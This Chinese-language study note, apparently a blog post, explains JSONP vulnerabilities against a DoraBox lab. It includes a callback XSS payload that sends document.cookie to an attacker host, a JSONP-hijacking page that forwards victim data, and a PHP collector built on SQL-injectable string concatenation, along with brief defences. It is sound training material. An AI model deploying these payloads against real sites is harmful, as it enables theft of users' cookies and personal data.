JSONP跨域访问漏洞
一、漏洞原理
SONP跨域漏洞主要是Callback用户可控导致的XSS和JSONP劫持两种类型
JSONP劫持,实质上算是一种读取型的CSRF,在恶意的网页中构造恶意的JS代码,当合法用户点击该网页,由于目标站点存在JSONP劫持漏洞的接口,因此会将用户的该接口对应的信息劫持,并将其发送到攻击者的服务器。
二、callback参数自定义引起的XSS
1.漏洞利用
构造如下页面,创建恶意链接诱使用户点击,即可获取用户的信息
<script>
function test(args) {
// 调用stringfy方法,将JSON对象转换为字符串
alert(JSON.stringify(args));
}
</script>
<script src="http://192.168.30.103/jsonp.php?callback=location.href=
'http://192.168.30.104/security/xssrecv.php?url=' %2B location.href %2B '%26cookie='
%2B document.cookie;//"></script>
// %2B为+ %26为&
</script>
模拟用户访问,成功将cookie和url地址添加到数据库
2.防御
过滤callback函数名称和内容
设置白名单,提前沟通好允许传输的内容
严格按照JSON格式标准输出,添加header (“Content-Type:application/json”)
三、JSONP劫持
通过对callback的过滤,无法利用跨域访问漏洞实现xss攻击,但还存在JSONP漏洞
1.漏洞利用
以DoraBox靶场的jsonp模块为例
在攻击者服务器192.168.30.104上创建jsonpuse.html(发送恶意请求)和jsonpuse.php(接收用户信息)
jsonpuse.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JSONP</title>
// 获取数据发送到攻击者服务器
<script>
function callBack(args) {
location.href="http://192.168.30.104/jsonprecv.php?value=" +
JSON.stringify(args) + "&referer=" + document.referer;
}
</script>
// 访问有jsonp漏洞的服务器
<script src="http://192.168.30.103/security/dorabox/csrf/jsonp.php?callback=callBack"></script>
</head>
<body>
</body>
</html>
jsonprecv.php
<?php
// 获取参数
$ipaddr = $_SERVER['REMOTE_ADDR'];
$referer = $_GET['referer'];
$value = $_GET['value'];
// 写入数据库
$conn = new mysqli('127.0.0.1', 'root', '123456', 'learn') or die('database connected fail');
$conn -> character_set_name('utf8');
$sql = "insert into jsonpdata(ipaddr, referer, value, time) values('$ipaddr', '$referer', '$value', now())";
$conn->query($sql) ;
// 跳转页面
echo "<script>location.href='http://www.baidu.com'</script>";
?>
模拟用户打开jsonpuse.html,查看数据库,成功将用户信息写入攻击者服务器
2.防御
Referer校验/过滤增加CSRF Token
以上为本人学习过程记录,未用于非法用途
欢迎各位大佬指正